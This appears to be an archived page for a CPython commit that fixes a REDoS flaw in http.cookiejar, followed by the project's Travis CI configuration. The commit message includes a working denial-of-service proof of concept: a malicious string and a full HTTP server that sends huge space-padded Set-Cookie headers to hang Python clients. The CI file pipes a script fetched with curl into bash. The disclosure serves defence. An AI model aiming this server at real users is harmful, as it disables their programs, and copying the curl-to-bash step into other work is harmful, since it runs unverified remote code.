Staging
v0.5.1
https://github.com/python/cpython
Revision 55a6a16a46239a71b635584e532feb8b17ae7fdf authored by Victor Stinner on 03 April 2020, 01:37:32 UTC, committed by GitHub on 03 April 2020, 01:37:32 UTC
The regex http.cookiejar.LOOSE_HTTP_DATE_RE was vulnerable to regular
expression denial of service (REDoS).

LOOSE_HTTP_DATE_RE.match is called when using http.cookiejar.CookieJar
to parse Set-Cookie headers returned by a server.
Processing a response from a malicious HTTP server can lead to extreme
CPU usage and execution will be blocked for a long time.

The regex contained multiple overlapping \s* capture groups.
Ignoring the ?-optional capture groups the regex could be simplified to

    \d+-\w+-\d+(\s*\s*\s*)$

Therefore, a long sequence of spaces can trigger bad performance.

Matching a malicious string such as

    LOOSE_HTTP_DATE_RE.match("1-c-1" + (" " * 2000) + "!")

caused catastrophic backtracking.

The fix removes ambiguity about which \s* should match a particular
space.

You can create a malicious server which responds with Set-Cookie headers
to attack all python programs which access it e.g.

    from http.server import BaseHTTPRequestHandler, HTTPServer

    def make_set_cookie_value(n_spaces):
        spaces = " " * n_spaces
        expiry = f"1-c-1{spaces}!"
        return f"b;Expires={expiry}"

    class Handler(BaseHTTPRequestHandler):
        def do_GET(self):
            self.log_request(204)
            self.send_response_only(204)  # Don't bother sending Server and Date
            n_spaces = (
                int(self.path[1:])  # Can GET e.g. /100 to test shorter sequences
                if len(self.path) > 1 else
                65506  # Max header line length 65536
            )
            value = make_set_cookie_value(n_spaces)
            for i in range(99):  # Not necessary, but we can have up to 100 header lines
                self.send_header("Set-Cookie", value)
            self.end_headers()

    if __name__ == "__main__":
        HTTPServer(("", 44020), Handler).serve_forever()

This server returns 99 Set-Cookie headers. Each has 65506 spaces.
Extracting the cookies will pretty much never complete.

Vulnerable client using the example at the bottom of
https://docs.python.org/3/library/http.cookiejar.html :

    import http.cookiejar, urllib.request
    cj = http.cookiejar.CookieJar()
    opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj))
    r = opener.open("http://localhost:44020/")

The popular requests library was also vulnerable without any additional
options (as it uses http.cookiejar by default):

    import requests
    requests.get("http://localhost:44020/")

* Regression test for http.cookiejar REDoS

If we regress, this test will take a very long time.

* Improve performance of http.cookiejar.ISO_DATE_RE

A string like

"444444" + (" " * 2000) + "A"

could cause poor performance due to the 2 overlapping \s* groups,
although this is not as serious as the REDoS in LOOSE_HTTP_DATE_RE was.

(cherry picked from commit 1b779bfb8593739b11cbb988ef82a883ec9d077e)

Co-authored-by: bcaller <bcaller@users.noreply.github.com>
1 parent ed07522
Raw File
Tip revision: 55a6a16a46239a71b635584e532feb8b17ae7fdf authored by Victor Stinner on 03 April 2020, 01:37:32 UTC
bpo-38804: Fix REDoS in http.cookiejar (GH-17157) (#17344)
Tip revision: 55a6a16
.travis.yml
language: c
dist: trusty
sudo: false
group: beta

# To cache doc-building dependencies.
cache: pip

branches:
  only:
    - master
    - /^\d\.\d$/

matrix:
  fast_finish: true
  allow_failures:
    - env: OPTIONAL=true
  include:
    - os: linux
      language: c
      compiler: clang
      # gcc also works, but to keep the # of concurrent builds down, we use one C
      # compiler here and the other to run the coverage build. Clang is preferred
      # in this instance for its better error messages.
      env: TESTING=cpython
    - os: osx
      language: c
      compiler: clang
      # Testing under macOS is optional until testing stability has been demonstrated.
      env: OPTIONAL=true
      before_install:
        - brew install openssl xz
        - export CPPFLAGS="-I$(brew --prefix openssl)/include"
        - export LDFLAGS="-L$(brew --prefix openssl)/lib"
    - os: linux
      language: python
      python: 3.6
      env: TESTING=docs
      before_script:
        - cd Doc
        # Sphinx is pinned so that new versions that introduce new warnings won't suddenly cause build failures.
        # (Updating the version is fine as long as no warnings are raised by doing so.)
        - python -m pip install sphinx==1.8.2 blurb
      script:
        - make check suspicious html SPHINXOPTS="-q -W -j4"
    - os: linux
      language: c
      compiler: gcc
      env: OPTIONAL=true
      before_script:
        - |
            if ! git diff --name-only $TRAVIS_COMMIT_RANGE | grep -qvE '(\.rst$)|(^Doc)|(^Misc)'
            then
              echo "Only docs were updated, stopping build process."
              exit
            fi
            ./configure
            make -s -j4
            # Need a venv that can parse covered code.
            ./python -m venv venv
            ./venv/bin/python -m pip install -U coverage
      script:
        # Skip tests that re-run the entire test suite.
        - ./venv/bin/python -m coverage run --pylib -m test -uall,-cpu -x test_multiprocessing_fork -x test_multiprocessing_forkserver -x test_multiprocessing_spawn
      after_script:  # Probably should be after_success once test suite updated to run under coverage.py.
        # Make the `coverage` command available to Codecov w/ a version of Python that can parse all source files.
        - source ./venv/bin/activate
        - bash <(curl -s https://codecov.io/bash)

# Travis provides only 2 cores, so don't overdo the parallelism and waste memory.
before_script:
  - |
      set -e
      if ! git diff --name-only $TRAVIS_COMMIT_RANGE | grep -qvE '(\.rst$)|(^Doc)|(^Misc)'
      then
        echo "Only docs were updated, stopping build process."
        exit
      fi
      ./configure --with-pydebug
      make -j4
      make -j4 regen-all clinic
      changes=`git status --porcelain`
      if ! test -z "$changes"
      then
        echo "Generated files not up to date"
        echo "$changes"
        exit 1
      fi

script:
  # Using the built Python as patchcheck.py is built around the idea of using
  # a checkout-build of CPython to know things like what base branch the changes
  # should be compared against.
  # Only run on Linux as the check only needs to be run once.
  - if [[ "$TRAVIS_OS_NAME" == "linux" ]]; then ./python Tools/scripts/patchcheck.py --travis $TRAVIS_PULL_REQUEST; fi
  # `-r -w` implicitly provided through `make buildbottest`.
  - make buildbottest TESTOPTS="-j4 -uall,-cpu"

notifications:
  email: false
  irc:
    channels:
      # This is set to a secure variable to prevent forks from notifying the
      # IRC channel whenever they fail a build. This can be removed when travis
      # implements https://github.com/travis-ci/travis-ci/issues/1094.
      # The actual value here is: irc.freenode.net#python-dev
      - secure: "s7kAkpcom2yUJ8XqyjFI0obJmhAGrn1xmoivdaPdgBIA++X47TBp1x4pgDsbEsoalef7bEwa4l07KdT4qa+DOd/c4QxaWom7fbN3BuLVsZuVfODnl79+gYq/TAbGfyH+yDs18DXrUfPgwD7C5aW32ugsqAOd4iWzfGJQ5OrOZzqzGjYdYQUEkJFXgxDEIb4aHvxNDWGO3Po9uKISrhb5saQ0l776yLo1Ur7M4oxl8RTbCdgX0vf5TzPg52BgvZpOgt3DHOUYPeiJLKNjAE6ibg0U95sEvMfHX77nz4aFY4/3UI6FFaRla34rZ+mYKrn0TdxOhera1QOgPmM6HzdO4K44FpfK1DS0Xxk9U9/uApq+cG0bU3W+cVUHDBe5+90lpRBAXHeHCgT7TI8gec614aiT8lEr3+yH8OBRYGzkjNK8E2LJZ/SxnVxDe7aLF6AWcoWLfS6/ziAIBFQ5Nc4U72CT8fGVSkl8ywPiRlvixKdvTODMSZo0jMqlfZSNaAPTsNRx4wu5Uis4qekwe32Fz4aB6KGpsuuVjBi+H6v0RKxNJNGY3JKDiEH2TK0UE2auJ5GvLW48aUVFcQMB7euCWYXlSWVRHh3WLU8QXF29Dw4JduRZqUpOdRgMHU79UHRq+mkE0jAS/nBcS6CvsmxCpTSrfVYuMOu32yt18QQoTyU="
    on_success: change
    on_failure: always
    skip_join: true
back to top